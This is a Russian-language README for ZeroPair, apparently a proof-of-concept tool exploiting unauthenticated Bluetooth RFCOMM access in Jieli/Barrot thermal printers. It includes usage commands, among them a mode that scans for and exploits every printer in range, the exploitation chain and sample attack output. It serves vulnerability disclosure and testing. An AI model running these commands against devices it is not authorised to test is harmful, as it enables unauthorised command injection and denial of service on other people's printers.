ZeroPair

Bluetooth-эксплойт с нулевой аутентификацией

«Укради распечатку — владей системой»

███████╗███████╗██████╗  ██████╗
╚══███╔╝██╔════╝██╔══██╗██╔═══██╗
  ███╔╝ █████╗  ██████╔╝██║   ██║
 ███╔╝  ██╔══╝  ██╔══██╗██║   ██║
███████╗███████╗██║  ██║╚██████╔╝
╚══════╝╚══════╝╚═╝  ╚═╝ ╚═════╝
    ██████╗  █████╗ ██╗██████╗
    ██╔══██╗██╔══██╗██║██╔══██╗
    ██████╔╝███████║██║██████╔╝
    ██╔═══╝ ██╔══██║██║██╔══██╗
    ██║     ██║  ██║██║██║  ██║
    ╚═╝     ╚═╝  ╚═╝╚═╝╚═╝  ╚═╝

Автор: [CBKB] DeadlyData | 2026

ZeroPair — инструмент класса proof-of-concept, демонстрирующий уязвимость нулевой аутентификации в Bluetooth-термопринтерах на чипсетах Jieli и Barrot. Затронутые устройства принимают неаутентифицированные RFCOMM-соединения без сопряжения и взаимодействия с пользователем, что позволяет атакующему в зоне действия Bluetooth получить доступ к интерфейсу команд принтера.

CVE: Отправлено в MITRE (ожидается присвоение)

Доказательство концепции

Сводка по уязвимости

Bluetooth-термопринтеры на чипсетах Jieli и Barrot содержат уязвимость обхода аутентификации в сервисе RFCOMM (SPP). Из-за неправильного контроля доступа, реализованного в прошивке, затронутые устройства принимают неаутентифицированные RFCOMM-соединения без сопряжения и взаимодействия с пользователем. Уязвимость существует в скрытом состоянии доверия прошивки, которое невозможно проверить или удалить стандартными инструментами управления Bluetooth.

Воздействие

• Раскрытие информации — чтение буфера/статуса принтера без авторизации
• Выполнение произвольных команд — инъекция команд ESC/POS или TSPL для печати произвольного содержимого
• Отказ в обслуживании — расход бумаги, блокировка интерфейса команд или нарушение нормальной работы
• Постоянный бэкдор — устройство остаётся эксплуатируемым после перезагрузок; кэш сопряжения не может быть очищен стандартными инструментами

Обнаруженные классификации уязвимости

Затронутые устройства

Другие Bluetooth-термопринтеры на этих чипсетах также могут быть затронуты.

Требования

Платформа

• Linux (требуется стек BlueZ)

Системные зависимости

• bluez — стек протоколов Bluetooth (hcitool, bluetoothctl, rfcomm, sdptool)

Установка в Debian/Ubuntu:

sudo apt install bluez

Зависимости Python

• Python 3
• colorama

pip install colorama

Оборудование

• Адаптер Bluetooth (встроенный или USB-донгл)
• Необходимо находиться в зоне действия Bluetooth (~10 м) от целевого устройства

Использование

ZeroPair требует прав root для операций RFCOMM.

Одиночная цель (с проверкой)

Выполняет полную 4-шаговую проверку уязвимости перед эксплуатацией:

sudo python3 ZeroPair.py <MAC_ADDRESS>

sudo python3 ZeroPair.py 66:32:9E:2E:FD:94

Одиночная цель (пропуск проверки)

Пропускает проверку и выполняет непосредственную эксплуатацию:

sudo python3 ZeroPair.py <MAC_ADDRESS> --skip

Режим автосканирования (с проверкой)

Сканирует все устройства Bluetooth, определяет принтеры, проверяет и эксплуатирует:

sudo python3 ZeroPair.py --scan

Режим автосканирования (пропуск проверки)

Самый быстрый режим — сканирование и эксплуатация без проверки:

sudo python3 ZeroPair.py --scan --skip

Аргументы

Принцип работы

Цепочка эксплуатации

1. Обнаружение — сканирование Bluetooth определяет термопринтеры по имени устройства
2. Проверка (необязательно) — 4-этапная проверка уязвимости:
   • Видимость сопряжения в пользовательском пространстве через bluetoothctl
   • Определение локального адаптера Bluetooth
   • Проверка кэша сопряжения в файловой системе (/var/lib/bluetooth/)
   • Тест неаутентифицированного доступа RFCOMM (критично)
3. Обнаружение канала — просмотр SDP для поиска канала RFCOMM SPP
4. Подключение — привязка RFCOMM к цели без сопряжения или PIN-кода
5. Инъекция команд — отправка полезной нагрузки ESC/POS или TSPL на принтер
6. Физический вывод — принтер печатает чек/этикетку как доказательство эксплуатации

Почему это работает

Затронутые принтеры реализуют разрешающую политику приёма RFCOMM на уровне прошивки. Bluetooth-контроллер не требует аутентификации или шифрования для входящих SPP-соединений. Поскольку состояние доверия управляется в прошивке, а не хост-стеком Bluetooth (BlueZ), стандартные инструменты, такие как bluetoothctl, не могут обнаружить, проверить или отозвать неявное доверие. Устройство молча принимает соединения от любого Bluetooth-хоста без взаимодействия с пользователем.

Пример вывода

[*] single target mode (validation enabled)

[*] ==========================================================
[*] target: 66:32:9E:2E:FD:94 (X6h-A725)
[*] model: X6h-A725
[*] ==========================================================

[*] starting vulnerability validation...
[*] testing user-space pairing visibility [DONE]
[*] identifying local bluetooth adapter [DONE]
[*] checking filesystem pairing cache [DONE]
[*] testing RFCOMM unauthenticated access [DONE]

[!] VULNERABILITY CONFIRMED
    Type: ZERO AUTHENTICATION
    Severity: CRITICAL

[*] vulnerability details:
    [+] RFCOMM accessible: YES
    [+] BlueZ visible: NO
    [+] BlueZ paired: NO
    [+] Cache exists: NO

[+] target is exploitable - proceeding with attack

[*] discovering RFCOMM channels [channel 1]
[*] establishing RFCOMM connection [CONNECTED]
[*] injecting ESC/POS payload [SUCCESS]

[*] exploitation successful - check printer output!

[+] exploitation completed successfully

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности и не отвечает за любое неправомерное использование или ущерб, причинённый этим инструментом. Используйте ответственно и только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение.

Лицензия

MIT